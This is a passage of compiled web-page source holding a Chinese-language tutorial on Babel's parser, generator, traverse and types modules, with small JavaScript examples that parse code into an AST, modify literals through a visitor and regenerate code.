\u4ee3\u7801\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"@babel/types"}),"\uff1a\u5224\u65ad\u3001\u9a8c\u8bc1\u8282\u70b9\u7684\u7c7b\u578b\u3001\u6784\u5efa\u65b0 AST \u8282\u70b9\u7b49\u3002"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647054.png-.png",alt:"06"})}),"\n",(0,t.jsx)(e.h3,{id:"babelcore",children:"@babel/core"}),"\n",(0,t.jsxs)(e.p,{children:["Babel \u7f16\u8bd1\u5668\u672c\u8eab\uff0c\u88ab\u62c6\u5206\u6210\u4e86\u4e09\u4e2a\u6a21\u5757\uff1a",(0,t.jsx)(e.code,{children:"@babel/parser"}),"\u3001",(0,t.jsx)(e.code,{children:"@babel/traverse"}),"\u3001",(0,t.jsx)(e.code,{children:"@babel/generator"}),"\uff0c\u6bd4\u5982\u4ee5\u4e0b\u65b9\u6cd5\u7684\u5bfc\u5165\u6548\u679c\u90fd\u662f\u4e00\u6837\u7684\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parse = require("@babel/parser").parse;\n\nconst parse = require("@babel/core").parse;\n\n\nconst traverse = require("@babel/traverse").default\n\nconst traverse = require("@babel/core").traverse\n'})}),"\n",(0,t.jsx)(e.h3,{id:"babelparser",children:"@babel/parser"}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"@babel/parser"})," \u53ef\u4ee5\u5c06 JavaScript \u4ee3\u7801\u89e3\u6790\u6210 AST \u8bed\u6cd5\u6811\uff0c\u5176\u4e2d\u4e3b\u8981\u63d0\u4f9b\u4e86\u4e24\u4e2a\u65b9\u6cd5\uff1a"]}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"parser.parse(code, [{options}])"}),"\uff1a\u89e3\u6790\u4e00\u6bb5 JavaScript \u4ee3\u7801\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"parser.parseExpression(code, [{options}])"}),"\uff1a\u8003\u8651\u5230\u4e86\u6027\u80fd\u95ee\u9898\uff0c\u89e3\u6790\u5355\u4e2a JavaScript \u8868\u8fbe\u5f0f\u3002"]}),"\n"]}),"\n",(0,t.jsxs)(e.p,{children:["\u90e8\u5206\u53ef\u9009\u53c2\u6570 ",(0,t.jsx)(e.code,{children:"options"}),"\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"\u53c2\u6570"}),(0,t.jsx)(e.th,{children:"\u63cf\u8ff0"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"allowImportExportEverywhere"})}),(0,t.jsxs)(e.td,{children:["\u9ed8\u8ba4 ",(0,t.jsx)(e.code,{children:"import"})," \u548c ",(0,t.jsx)(e.code,{children:"export"})," \u58f0\u660e\u8bed\u53e5\u53ea\u80fd\u51fa\u73b0\u5728\u7a0b\u5e8f\u7684\u6700\u9876\u5c42\uff0c\u8bbe\u7f6e\u4e3a ",(0,t.jsx)(e.code,{children:"true"})," \u5219\u5728\u4efb\u4f55\u5730\u65b9\u90fd\u53ef\u4ee5\u58f0\u660e"]})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"allowReturnOutsideFunction"})}),(0,t.jsxs)(e.td,{children:["\u9ed8\u8ba4\u5982\u679c\u5728\u9876\u5c42\u4e2d\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"return"})," \u8bed\u53e5\u4f1a\u5f15\u8d77\u9519\u8bef\uff0c\u8bbe\u7f6e\u4e3a ",(0,t.jsx)(e.code,{children:"true"})," \u5c31\u4e0d\u4f1a\u62a5\u9519"]})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"sourceType"})}),(0,t.jsxs)(e.td,{children:["\u9ed8\u8ba4\u4e3a ",(0,t.jsx)(e.code,{children:"script"}),"\uff0c\u5f53\u4ee3\u7801\u4e2d\u542b\u6709 ",(0,t.jsx)(e.code,{children:"import"})," \u3001",(0,t.jsx)(e.code,{children:"export"})," \u7b49\u5173\u952e\u5b57\u65f6\u4f1a\u62a5\u9519\uff0c\u9700\u8981\u6307\u5b9a\u4e3a ",(0,t.jsx)(e.code,{children:"module"})]})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"errorRecovery"})}),(0,t.jsxs)(e.td,{children:["\u9ed8\u8ba4\u5982\u679c babel \u53d1\u73b0\u4e00\u4e9b\u4e0d\u6b63\u5e38\u7684\u4ee3\u7801\u5c31\u4f1a\u629b\u51fa\u9519\u8bef\uff0c\u8bbe\u7f6e\u4e3a ",(0,t.jsx)(e.code,{children:"true"})," \u5219\u4f1a\u5728\u4fdd\u5b58\u89e3\u6790\u9519\u8bef\u7684\u540c\u65f6\u7ee7\u7eed\u89e3\u6790\u4ee3\u7801\uff0c\u9519\u8bef\u7684\u8bb0\u5f55\u5c06\u88ab\u4fdd\u5b58\u5728\u6700\u7ec8\u751f\u6210\u7684 AST \u7684 errors \u5c5e\u6027\u4e2d\uff0c\u5f53\u7136\u5982\u679c\u9047\u5230\u4e25\u91cd\u7684\u9519\u8bef\uff0c\u4f9d\u7136\u4f1a\u7ec8\u6b62\u89e3\u6790"]})]})]})]}),"\n",(0,t.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\u770b\u5f97\u6bd4\u8f83\u6e05\u695a\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\n\n\nconst code = "const a = 1;";\n\nconst ast = parser.parse(code, {sourceType: "module"})\n\nconsole.log(ast)\n'})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:'{sourceType: "module"}'})," \u6f14\u793a\u4e86\u5982\u4f55\u6dfb\u52a0\u53ef\u9009\u53c2\u6570\uff0c\u8f93\u51fa\u7684\u5c31\u662f AST \u8bed\u6cd5\u6811\uff0c\u8fd9\u548c\u5728\u7ebf\u7f51\u7ad9 ",(0,t.jsx)(e.a,{href:"https://astexplorer.net/",children:"https://astexplorer.net/"})," \u89e3\u6790\u51fa\u6765\u7684\u8bed\u6cd5\u6811\u662f\u4e00\u6837\u7684\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647055.png-.png",alt:"07"})}),"\n",(0,t.jsx)(e.h3,{id:"babelgenerator",children:"@babel/generator"}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"@babel/generator"})," \u53ef\u4ee5\u5c06 AST \u8fd8\u539f\u6210 JavaScript \u4ee3\u7801\uff0c\u63d0\u4f9b\u4e86\u4e00\u4e2a ",(0,t.jsx)(e.code,{children:"generate"})," \u65b9\u6cd5\uff1a",(0,t.jsx)(e.code,{children:"generate(ast, [{options}], code)"}),"\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u90e8\u5206\u53ef\u9009\u53c2\u6570 ",(0,t.jsx)(e.code,{children:"options"}),"\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"\u53c2\u6570"}),(0,t.jsx)(e.th,{children:"\u63cf\u8ff0"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"auxiliaryCommentBefore"})}),(0,t.jsx)(e.td,{children:"\u5728\u8f93\u51fa\u6587\u4ef6\u5185\u5bb9\u7684\u5934\u90e8\u6dfb\u52a0\u6ce8\u91ca\u5757\u6587\u5b57"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"auxiliaryCommentAfter"})}),(0,t.jsx)(e.td,{children:"\u5728\u8f93\u51fa\u6587\u4ef6\u5185\u5bb9\u7684\u672b\u5c3e\u6dfb\u52a0\u6ce8\u91ca\u5757\u6587\u5b57"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"comments"})}),(0,t.jsx)(e.td,{children:"\u8f93\u51fa\u5185\u5bb9\u662f\u5426\u5305\u542b\u6ce8\u91ca"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"compact"})}),(0,t.jsx)(e.td,{children:"\u8f93\u51fa\u5185\u5bb9\u662f\u5426\u4e0d\u6dfb\u52a0\u7a7a\u683c\uff0c\u907f\u514d\u683c\u5f0f\u5316"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"concise"})}),(0,t.jsx)(e.td,{children:"\u8f93\u51fa\u5185\u5bb9\u662f\u5426\u51cf\u5c11\u7a7a\u683c\u4f7f\u5176\u66f4\u7d27\u51d1\u4e00\u4e9b"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"minified"})}),(0,t.jsx)(e.td,{children:"\u662f\u5426\u538b\u7f29\u8f93\u51fa\u4ee3\u7801"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"retainLines"})}),(0,t.jsx)(e.td,{children:"\u5c1d\u8bd5\u5728\u8f93\u51fa\u4ee3\u7801\u4e2d\u4f7f\u7528\u4e0e\u6e90\u4ee3\u7801\u4e2d\u76f8\u540c\u7684\u884c\u53f7"})]})]})]}),"\n",(0,t.jsxs)(e.p,{children:["\u63a5\u7740\u524d\u9762\u7684\u4f8b\u5b50\uff0c\u539f\u4ee3\u7801\u662f ",(0,t.jsx)(e.code,{children:"const a = 1;"}),"\uff0c\u73b0\u5728\u6211\u4eec\u628a ",(0,t.jsx)(e.code,{children:"a"})," \u53d8\u91cf\u4fee\u6539\u4e3a ",(0,t.jsx)(e.code,{children:"b"}),"\uff0c\u503c ",(0,t.jsx)(e.code,{children:"1"})," \u4fee\u6539\u4e3a ",(0,t.jsx)(e.code,{children:"2"}),"\uff0c\u7136\u540e\u5c06 AST \u8fd8\u539f\u751f\u6210\u65b0\u7684 JS \u4ee3\u7801\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst generate = require("@babel/generator").default\n\n\n\nconst code = "const a = 1;";\n\nconst ast = parser.parse(code, {sourceType: "module"})\n\nast.program.body[0].declarations[0].id.name = "b"\n\nast.program.body[0].declarations[0].init.value = 2\n\nconst result = generate(ast, {minified: true})\n\n\n\nconsole.log(result.code)\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u6700\u7ec8\u8f93\u51fa\u7684\u662f ",(0,t.jsx)(e.code,{children:"const b=2;"}),"\uff0c\u53d8\u91cf\u540d\u548c\u503c\u90fd\u6210\u529f\u66f4\u6539\u4e86\uff0c\u7531\u4e8e\u52a0\u4e86\u538b\u7f29\u5904\u7406\uff0c\u7b49\u53f7\u5de6\u53f3\u4e24\u8fb9\u7684\u7a7a\u683c\u4e5f\u6ca1\u4e86\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u4ee3\u7801\u91cc ",(0,t.jsx)(e.code,{children:"{minified: true}"})," \u6f14\u793a\u4e86\u5982\u4f55\u6dfb\u52a0\u53ef\u9009\u53c2\u6570\uff0c\u8fd9\u91cc\u8868\u793a\u538b\u7f29\u8f93\u51fa\u4ee3\u7801\uff0c",(0,t.jsx)(e.code,{children:"generate"})," \u5f97\u5230\u7684 ",(0,t.jsx)(e.code,{children:"result"})," \u5f97\u5230\u7684\u662f\u4e00\u4e2a\u5bf9\u8c61\uff0c\u5176\u4e2d\u7684 ",(0,t.jsx)(e.code,{children:"code"})," \u5c5e\u6027\u624d\u662f\u6700\u7ec8\u7684 JS \u4ee3\u7801\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u4ee3\u7801\u91cc ",(0,t.jsx)(e.code,{children:"ast.program.body[0].declarations[0].id.name"})," \u662f a \u5728 AST \u4e2d\u7684\u4f4d\u7f6e\uff0c",(0,t.jsx)(e.code,{children:"ast.program.body[0].declarations[0].init.value"})," \u662f 1 \u5728 AST \u4e2d\u7684\u4f4d\u7f6e\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647056.png-.png",alt:"08"})}),"\n",(0,t.jsx)(e.h3,{id:"babeltraverse",children:"@babel/traverse"}),"\n",(0,t.jsxs)(e.p,{children:["\u5f53\u4ee3\u7801\u591a\u4e86\uff0c\u6211\u4eec\u4e0d\u53ef\u80fd\u50cf\u524d\u9762\u90a3\u6837\u6328\u4e2a\u5b9a\u4f4d\u5e76\u4fee\u6539\uff0c\u5bf9\u4e8e\u76f8\u540c\u7c7b\u578b\u7684\u8282\u70b9\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u904d\u5386\u6240\u6709\u8282\u70b9\u6765\u8fdb\u884c\u4fee\u6539\uff0c\u8fd9\u91cc\u5c31\u7528\u5230\u4e86 ",(0,t.jsx)(e.code,{children:"@babel/traverse"}),"\uff0c\u5b83\u901a\u5e38\u548c ",(0,t.jsx)(e.code,{children:"visitor"})," \u4e00\u8d77\u4f7f\u7528\uff0c",(0,t.jsx)(e.code,{children:"visitor"})," \u662f\u4e00\u4e2a\u5bf9\u8c61\uff0c\u8fd9\u4e2a\u540d\u5b57\u662f\u53ef\u4ee5\u968f\u610f\u53d6\u7684\uff0c",(0,t.jsx)(e.code,{children:"visitor"})," \u91cc\u53ef\u4ee5\u5b9a\u4e49\u4e00\u4e9b\u65b9\u6cd5\u6765\u8fc7\u6ee4\u8282\u70b9\uff0c\u8fd9\u91cc\u8fd8\u662f\u7528\u4e00\u4e2a\u4f8b\u5b50\u6765\u6f14\u793a\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst generate = require("@babel/generator").default\n\nconst traverse = require("@babel/traverse").default\n\n\n\nconst code = `\n\nconst a = 1500;\n\nconst b = 60;\n\nconst c = "hi";\n\nconst d = 787;\n\nconst e = "1244";\n\n`\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n NumericLiteral(path){\n\n path.node.value = (path.node.value + 100) * 2\n\n },\n\n StringLiteral(path){\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u8fd9\u91cc\u7684\u539f\u59cb\u4ee3\u7801\u5b9a\u4e49\u4e86 abcde \u4e94\u4e2a\u53d8\u91cf\uff0c\u5176\u503c\u6709\u6570\u5b57\u4e5f\u6709\u5b57\u7b26\u4e32\uff0c\u6211\u4eec\u5728 AST \u4e2d\u53ef\u4ee5\u770b\u5230\u5bf9\u5e94\u7684\u7c7b\u578b\u4e3a ",(0,t.jsx)(e.code,{children:"NumericLiteral"})," \u548c ",(0,t.jsx)(e.code,{children:"StringLiteral"}),"\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647058.png-.png",alt:"09"})}),"\n",(0,t.jsxs)(e.p,{children:["\u7136\u540e\u6211\u4eec\u58f0\u660e\u4e86\u4e00\u4e2a ",(0,t.jsx)(e.code,{children:"visitor"})," \u5bf9\u8c61\uff0c\u7136\u540e\u5b9a\u4e49\u5bf9\u5e94\u7c7b\u578b\u7684\u5904\u7406\u65b9\u6cd5\uff0c",(0,t.jsx)(e.code,{children:"traverse"})," \u63a5\u6536\u4e24\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e00\u4e2a\u662f AST \u5bf9\u8c61\uff0c\u7b2c\u4e8c\u4e2a\u662f ",(0,t.jsx)(e.code,{children:"visitor"}),"\uff0c\u5f53 ",(0,t.jsx)(e.code,{children:"traverse"})," \u904d\u5386\u6240\u6709\u8282\u70b9\uff0c\u9047\u5230\u8282\u70b9\u7c7b\u578b\u4e3a ",(0,t.jsx)(e.code,{children:"NumericLiteral"})," \u548c ",(0,t.jsx)(e.code,{children:"StringLiteral"})," \u65f6\uff0c\u5c31\u4f1a\u8c03\u7528 ",(0,t.jsx)(e.code,{children:"visitor"})," \u4e2d\u5bf9\u5e94\u7684\u5904\u7406\u65b9\u6cd5\uff0c",(0,t.jsx)(e.code,{children:"visitor"})," \u4e2d\u7684\u65b9\u6cd5\u4f1a\u63a5\u6536\u4e00\u4e2a\u5f53\u524d\u8282\u70b9\u7684 ",(0,t.jsx)(e.code,{children:"path"})," \u5bf9\u8c61\uff0c\u8be5\u5bf9\u8c61\u7684\u7c7b\u578b\u662f ",(0,t.jsx)(e.code,{children:"NodePath"}),"\uff0c\u8be5\u5bf9\u8c61\u6709\u975e\u5e38\u591a\u7684\u5c5e\u6027\uff0c\u4ee5\u4e0b\u4ecb\u7ecd\u51e0\u79cd\u6700\u5e38\u7528\u7684\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"\u5c5e\u6027"}),(0,t.jsx)(e.th,{children:"\u63cf\u8ff0"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"toString()"})}),(0,t.jsx)(e.td,{children:"\u5f53\u524d\u8def\u5f84\u7684\u6e90\u7801"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"node"})}),(0,t.jsx)(e.td,{children:"\u5f53\u524d\u8def\u5f84\u7684\u8282\u70b9"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"parent"})}),(0,t.jsx)(e.td,{children:"\u5f53\u524d\u8def\u5f84\u7684\u7236\u7ea7\u8282\u70b9"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"parentPath"})}),(0,t.jsx)(e.td,{children:"\u5f53\u524d\u8def\u5f84\u7684\u7236\u7ea7\u8def\u5f84"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:"type"})}),(0,t.jsx)(e.td,{children:"\u5f53\u524d\u8def\u5f84\u7684\u7c7b\u578b"})]})]})]}),"\n",(0,t.jsxs)(e.p,{children:["PS\uff1a",(0,t.jsx)(e.code,{children:"path"})," \u5bf9\u8c61\u9664\u4e86\u6709\u5f88\u591a\u5c5e\u6027\u4ee5\u5916\uff0c\u8fd8\u6709\u5f88\u591a\u65b9\u6cd5\uff0c\u6bd4\u5982\u66ff\u6362\u8282\u70b9\u3001\u5220\u9664\u8282\u70b9\u3001\u63d2\u5165\u8282\u70b9\u3001\u5bfb\u627e\u7236\u7ea7\u8282\u70b9\u3001\u83b7\u53d6\u540c\u7ea7\u8282\u70b9\u3001\u6dfb\u52a0\u6ce8\u91ca\u3001\u5224\u65ad\u8282\u70b9\u7c7b\u578b\u7b49\uff0c\u53ef\u5728\u9700\u8981\u65f6\u67e5\u8be2\u76f8\u5173\u6587\u6863\u6216\u67e5\u770b\u6e90\u7801\uff0c\u540e\u7eed\u4ecb\u7ecd ",(0,t.jsx)(e.code,{children:"@babel/types"})," \u90e8\u5206\u5c06\u4f1a\u4e3e\u90e8\u5206\u4f8b\u5b50\u6765\u6f14\u793a\uff0c\u4ee5\u540e\u7684\u5b9e\u6218\u6587\u7ae0\u4e2d\u4e5f\u4f1a\u6709\u76f8\u5173\u5b9e\u4f8b\uff0c\u7bc7\u5e45\u6709\u9650\u672c\u6587\u4e0d\u518d\u7ec6\u8bf4\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u56e0\u6b64\u5728\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\uff0c",(0,t.jsx)(e.code,{children:"path.node.value"})," \u5c31\u62ff\u5230\u4e86\u53d8\u91cf\u7684\u503c\uff0c\u7136\u540e\u6211\u4eec\u5c31\u53ef\u4ee5\u8fdb\u4e00\u6b65\u5bf9\u5176\u8fdb\u884c\u4fee\u6539\u4e86\u3002\u4ee5\u4e0a\u4ee3\u7801\u8fd0\u884c\u540e\uff0c\u6240\u6709\u6570\u5b57\u90fd\u4f1a\u52a0\u4e0a100\u540e\u518d\u4e58\u4ee52\uff0c\u6240\u6709\u5b57\u7b26\u4e32\u90fd\u4f1a\u88ab\u66ff\u6362\u6210 ",(0,t.jsx)(e.code,{children:"I Love JavaScript!"}),"\uff0c\u7ed3\u679c\u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const a = 3200;\n\nconst b = 320;\n\nconst c = "I Love JavaScript!";\n\nconst d = 1774;\n\nconst e = "I Love JavaScript!";\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u5982\u679c\u591a\u4e2a\u7c7b\u578b\u7684\u8282\u70b9\uff0c\u5904\u7406\u7684\u65b9\u5f0f\u90fd\u4e00\u6837\uff0c\u90a3\u4e48\u8fd8\u53ef\u4ee5\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"|"})," \u5c06\u6240\u6709\u8282\u70b9\u8fde\u63a5\u6210\u5b57\u7b26\u4e32\uff0c\u5c06\u540c\u4e00\u4e2a\u65b9\u6cd5\u5e94\u7528\u5230\u6240\u6709\u8282\u70b9\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n "NumericLiteral|StringLiteral"(path) {\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n}\n'})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"visitor"})," \u5bf9\u8c61\u6709\u591a\u79cd\u5199\u6cd5\uff0c\u4ee5\u4e0b\u51e0\u79cd\u5199\u6cd5\u7684\u6548\u679c\u90fd\u662f\u4e00\u6837\u7684\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n NumericLiteral(path){\n\n path.node.value = (path.node.value + 100) * 2\n\n },\n\n StringLiteral(path){\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n}\nconst visitor = {\n\n NumericLiteral: function (path){\n\n path.node.value = (path.node.value + 100) * 2\n\n },\n\n StringLiteral: function (path){\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n}\nconst visitor = {\n\n NumericLiteral: {\n\n enter(path) {\n\n path.node.value = (path.node.value + 100) * 2\n\n }\n\n },\n\n StringLiteral: {\n\n enter(path) {\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n }\n\n}\nconst visitor = {\n\n enter(path) {\n\n if (path.node.type === "NumericLiteral") {\n\n path.node.value = (path.node.value + 100) * 2\n\n }\n\n if (path.node.type === "StringLiteral") {\n\n path.node.value = "I Love JavaScript!"\n\n }\n\n }\n\n}\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u4ee5\u4e0a\u51e0\u79cd\u5199\u6cd5\u4e2d\u6709\u7528\u5230\u4e86 ",(0,t.jsx)(e.code,{children:"enter"})," \u65b9\u6cd5\uff0c\u5728\u8282\u70b9\u7684\u904d\u5386\u8fc7\u7a0b\u4e2d\uff0c\u8fdb\u5165\u8282\u70b9\uff08enter\uff09\u4e0e\u9000\u51fa\uff08exit\uff09\u8282\u70b9\u90fd\u4f1a\u8bbf\u95ee\u4e00\u6b21\u8282\u70b9\uff0c",(0,t.jsx)(e.code,{children:"traverse"})," \u9ed8\u8ba4\u5728\u8fdb\u5165\u8282\u70b9\u65f6\u8fdb\u884c\u8282\u70b9\u7684\u5904\u7406\uff0c\u5982\u679c\u8981\u5728\u9000\u51fa\u8282\u70b9\u65f6\u5904\u7406\uff0c\u90a3\u4e48\u5728 ",(0,t.jsx)(e.code,{children:"visitor"})," \u4e2d\u5c31\u5fc5\u987b\u58f0\u660e ",(0,t.jsx)(e.code,{children:"exit"})," \u65b9\u6cd5\u3002"]}),"\n",(0,t.jsx)(e.h3,{id:"babeltypes",children:"@babel/types"}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"@babel/types"})," \u4e3b\u8981\u7528\u4e8e\u6784\u5efa\u65b0\u7684 AST \u8282\u70b9\uff0c\u524d\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e3a ",(0,t.jsx)(e.code,{children:"const a = 1;"}),"\uff0c\u5982\u679c\u60f3\u8981\u589e\u52a0\u5185\u5bb9\uff0c\u6bd4\u5982\u53d8\u6210 ",(0,t.jsx)(e.code,{children:"const a = 1; const b = a * 5 + 1;"}),"\uff0c\u5c31\u53ef\u4ee5\u901a\u8fc7 ",(0,t.jsx)(e.code,{children:"@babel/types"})," \u6765\u5b9e\u73b0\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u9996\u5148\u89c2\u5bdf\u4e00\u4e0b AST \u8bed\u6cd5\u6811\uff0c\u539f\u8bed\u53e5\u53ea\u6709\u4e00\u4e2a ",(0,t.jsx)(e.code,{children:"VariableDeclaration"})," \u8282\u70b9\uff0c\u73b0\u5728\u589e\u52a0\u4e86\u4e00\u4e2a\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647059.png-.png",alt:"10"})}),"\n",(0,t.jsxs)(e.p,{children:["\u90a3\u4e48\u6211\u4eec\u7684\u601d\u8def\u5c31\u662f\u5728\u904d\u5386\u8282\u70b9\u65f6\uff0c\u904d\u5386\u5230 ",(0,t.jsx)(e.code,{children:"VariableDeclaration"})," \u8282\u70b9\uff0c\u5c31\u5728\u5176\u540e\u9762\u589e\u52a0\u4e00\u4e2a ",(0,t.jsx)(e.code,{children:"VariableDeclaration"})," \u8282\u70b9\uff0c\u751f\u6210 ",(0,t.jsx)(e.code,{children:"VariableDeclaration"})," \u8282\u70b9\uff0c\u53ef\u4ee5\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"types.variableDeclaration()"})," \u65b9\u6cd5\uff0c\u5728 types \u4e2d\u5404\u79cd\u65b9\u6cd5\u540d\u79f0\u548c\u6211\u4eec\u5728 AST \u4e2d\u770b\u5230\u7684\u662f\u4e00\u6837\u7684\uff0c\u53ea\u4e0d\u8fc7\u9996\u5b57\u6bcd\u662f\u5c0f\u5199\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u4e0d\u9700\u8981\u77e5\u9053\u6240\u6709\u65b9\u6cd5\u7684\u60c5\u51b5\u4e0b\uff0c\u4e5f\u80fd\u5927\u81f4\u63a8\u65ad\u5176\u65b9\u6cd5\u540d\uff0c\u53ea\u77e5\u9053\u8fd9\u4e2a\u65b9\u6cd5\u8fd8\u4e0d\u884c\uff0c\u8fd8\u5f97\u77e5\u9053\u4f20\u5165\u7684\u53c2\u6570\u662f\u4ec0\u4e48\uff0c\u53ef\u4ee5\u67e5\u6587\u6863\uff0c\u4e0d\u8fc7K\u54e5\u8fd9\u91cc\u63a8\u8350\u76f4\u63a5\u770b\u6e90\u7801\uff0c\u975e\u5e38\u6e05\u6670\u660e\u4e86\uff0c\u4ee5 Pycharm \u4e3a\u4f8b\uff0c\u6309\u4f4f Ctrl \u952e\uff0c\u518d\u70b9\u51fb\u65b9\u6cd5\u540d\uff0c\u5c31\u8fdb\u5230\u6e90\u7801\u91cc\u4e86\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:"https://img2022.cnblogs.com/other/2501174/202204/2501174-20220427101421832-1311123747.png",children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647060.png-.png",alt:"11"})})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'function variableDeclaration(kind: "var" | "let" | "const", declarations: Array)\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\u9700\u8981 ",(0,t.jsx)(e.code,{children:"kind"})," \u548c ",(0,t.jsx)(e.code,{children:"declarations"})," \u4e24\u4e2a\u53c2\u6570\uff0c\u5176\u4e2d ",(0,t.jsx)(e.code,{children:"declarations"})," \u662f ",(0,t.jsx)(e.code,{children:"VariableDeclarator"})," 